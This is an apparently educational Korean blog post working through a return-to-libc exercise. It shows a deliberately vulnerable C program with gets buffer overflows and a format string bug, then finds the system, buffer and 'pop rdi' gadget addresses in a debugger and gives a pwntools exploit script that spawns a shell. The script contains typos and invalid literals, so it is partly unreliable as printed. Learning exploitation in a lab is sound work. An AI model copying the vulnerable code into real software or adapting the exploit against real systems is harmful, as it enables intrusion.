stxxp

NX-bit 예제 풀기 본문

Hacking

NX-bit 예제 풀기

stxxp 2020. 8. 25. 19:42

코드 : 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#include <stdio.h>
 
void setup()
{
    setvbuf(stdin, 020);
    setvbuf(stdout, 020);
    setvbuf(stderr, 020);
}
 
int main(void)
{
    setup();
    
    char buf[0x100];
 
    printf("What's your name? : "); 
        gets(buf); // Buffer Overflow 
 
    printf("Hello, ");
    printf(buf); // Format String Bug
    printf("!!!\n");
 
    printf("Last greeting : ");
    gets(buf);
 
    return 0;
}
cs

컴파일 옵션 : 

gcc -o test2 test.c -fno-stack-protector -z norelro

 

 

 

 

 

 

 

 

1. RTL (Return To Library) 

이 기법은 메모리 보호 기법 중 하나인 DEP(Data Execution Prevention)를 우회하여 우리가 짠 바이너리에서 공유 라이브러리의 sytstem 함수를 불러와서 쉘을 얻을 수 있게 해 줍니다.

 

이러한 방법은 저번 'BOF 예제 풀기'처럼 쉘코드를 익스플로잇 코드에 작성하여 실행하는 것이 나니라 직접 공유 라이브러리의 함수를 호출하는 것이기 때문에 쉘코드 없이 쉘을 딸 수 있도록 합니다.

 

더보기

DEP (Data Execution Prevention) 이란?

데이터 실행을 방지하여 스택이나 힙 영역에서의 쉘코드 실행을 막아주는 메모리 보호 기법입니다.

 

NX bit (Never Execute Bit) 란?

NX의 특정으로 지정된 모든 메모리 구역은 데이터를 저장하기 위해서만 사용됩니다. 프로세서 명령어가 해당 자리에 상주하지 않음으로써 실행이 되지 않게 만들어줍니다. 

 

>>> 둘 다 결국 같은 말 (리눅스에서는 NX bit, 윈도우에서는 DEP라고 부릅니다.)

 

우리는 오늘 이 return to library 기법을 사용해 쉘코드 없이 쉘을 따 보려고 합니다. 

 

구하려는 것의 목표를 정하자면

1. system 함수의  주소

2. buf 시작 주소

3. Gadget 주소

가 되겠습니다.

 

자세한 건 아래 글을 참고합시다!

BOF 예제 풀기 : https://jmsl7.tistory.com/7

 

 

 

 

 

 

 

2. System 함수 주소 구하기

 

디버거에서 p system을 입력하면 system 함수의 주소를 알 수 있다.

 

system 함수 주소

>> 0x155554fa9390

 

 

 

 

 

 

 

3. Buf 시작 주소 구하기

 

rbp - 0x100이 버퍼 시작 주소를 의미하므로 <+116>에 해당하는 부분에 bp를 걸어줍니다.

 

c를 눌러 계속하면 아래와 같이 나옵니다.

 

스택을 확인해보면 입력한 값인 Jimin이 0x7fffffffdc20에 들어간 것을 볼 수 있습니다.

 

맨 위, c언어 코드를 보면 gets으로 입력받은 문자열은 buf에 저장되므로 저 주소는 buf가 시작하는 부분의 주소인 것입니다. 

 

buf 시작 주소

>> 0x7fffffffdc20

 

 

 

 

 

 

 

4. Gadget 주소 구하기

 

쭉 보다 보면 pop rdi ~ 가 있습니다.

pop rdi를 통해서 내가 8바이트를 가져와 rdi에 넣겠다는 말입니다.

 

즉, 저기에 해당하는 주소는 gadget 주소입니다.

 

Gadget 주소

>> 0x00000000004007e3

 

 

 

 

 

 

 

5. Expoit 코드 작성

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from pwn import * # pwn 모듈 import해주기
 
binary = "./test2"
 
= process("./test2", aslr = False) # test라는 실행파일 불러오기
gdb.attach(r) #gdb 터미널에 새로 불러오기
 
#pause()
 
r.recvuntil("What's your name? : ") # 이만큼의 문자열을 읽어오기
r.sendline("Jimin") # Jimin에 입력받기
 
rdi = 0x00000000004007e3 # gadget 주소
 
payload = "" # payload를 NULL로 초기화
payload += "/bin/sh\x00" # /bin/sh를 payload에 넣어주기 (쉘코드 대신)
payload += "A" * (0x108 - len(patload) # payload에 A를 0x108개까지 채워주기
payload += p64(rdi) + p64(07fffffffdc20) # 함수의 첫 번째 인자를 불러오고 버퍼 시작주소를 더해주기
payload += p64(0x155554fa9390) # system 함수의 주소 넣어주기
 
r.recvuntil("Last greeting : ") # 이만큼의 문자열을 읽어오기
r.sendline(payload) # payload에 입력받기
 
r.interactive() # 사용자와의 상호작용을 위한 명령어
cs

이렇게 코드를 짜고 실행을 시켜봅시다.

 

 

쉘이 잘 따집니다 !

 

'Hacking' 카테고리의 다른 글

Codegate 2018, BaskinRobbins31  (0) 2020.09.01
NX-bit 예제 풀기 (with ASLR ON)  (0) 2020.08.27
간단한 바이너리 분석하기  (0) 2020.07.12
C언어 코드 분석  (0) 2020.07.02
C pointer 보고서  (1) 2020.06.24